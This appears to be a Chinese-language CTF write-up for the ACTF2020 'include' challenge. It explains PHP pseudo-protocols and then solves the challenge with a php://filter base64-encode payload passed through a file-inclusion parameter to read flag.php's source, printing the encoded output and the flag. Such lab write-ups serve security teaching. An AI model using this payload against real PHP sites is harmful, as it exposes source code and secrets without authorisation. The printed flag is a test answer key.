ACTF2020新生赛 include-PHP伪协议

PHP伪协议是什么

PHP伪协议(PHP pseudo-protocols)是一种PHP编程语言中的特殊功能,它允许开发者通过URL或文件路径来访问和处理各种数据源,包括文件、网络资源和其他数据。

PHP伪协议怎么用

这些伪协议在URL中以一种类似于标准协议(如HTTP、FTP等)的方式出现

PHP伪协议原理是什么

PHP解释器会处理不同的伪协议,并将它们映射到适当的处理程序和资源,过程为

  1. URL解析:当PHP脚本中包含一个使用伪协议的URL时,PHP解释器首先会解析这个URL,识别伪协议的部分(例如php://、file://等)以及相关的路径和参数。
  2. 伪协议处理器:一旦解析了伪协议,PHP解释器会确定要使用的伪协议处理器。每个伪协议都有对应的处理器,负责处理该伪协议所代表的操作。例如,file伪协议处理器用于处理本地文件,http伪协议处理器用于处理HTTP请求,等等。
  3. 资源访问:伪协议处理器会根据URL中的信息执行相应的操作,例如,如果是读取文件,它会打开文件并返回文件内容;如果是HTTP请求,它会发送HTTP请求并返回响应内容。
  4. 流操作:对于php://伪协议,它允许对PHP的输入和输出流进行操作。例如,php://stdin用于读取标准输入,php://stdout用于写入标准输出。这对于命令行脚本和程序的输入输出非常有用。

解题

打开题目,只有一个超链接
ACTF2020新生赛 include-PHP伪协议_第1张图片
点击超链接 链接为http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
通过file参数访问flag.php这个文件,然后将文件内容显示在网页上ACTF2020新生赛 include-PHP伪协议_第2张图片
页面内容只有一句话Can you find out the flag?但是flag应该就在这个文件里了,只是因为某种原因显示不出来
用php伪协议php://来指定用base64编码输出文件内容(php伪协议允许对PHP的输入和输出流就行处理 包括编码)
payload=file=php://filter/read=convert.base64-encode/resource=flag.php
ACTF2020新生赛 include-PHP伪协议_第3张图片
得到一串base64编码字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NDg5MzhlNjMtMTdmYi00NjdkLTk5MzQtNGVmZWY4MDJjNDVkfQo=
解密后得到

得到flag=flag{48938e63-17fb-467d-9934-4efef802c45d}

当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
PHP处理器会执行php中的代码,所以显示的是Can you find out the flag?

但是当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
PHP无法执行这串被编码的字符,就会直接输出

你可能感兴趣的:(ctf)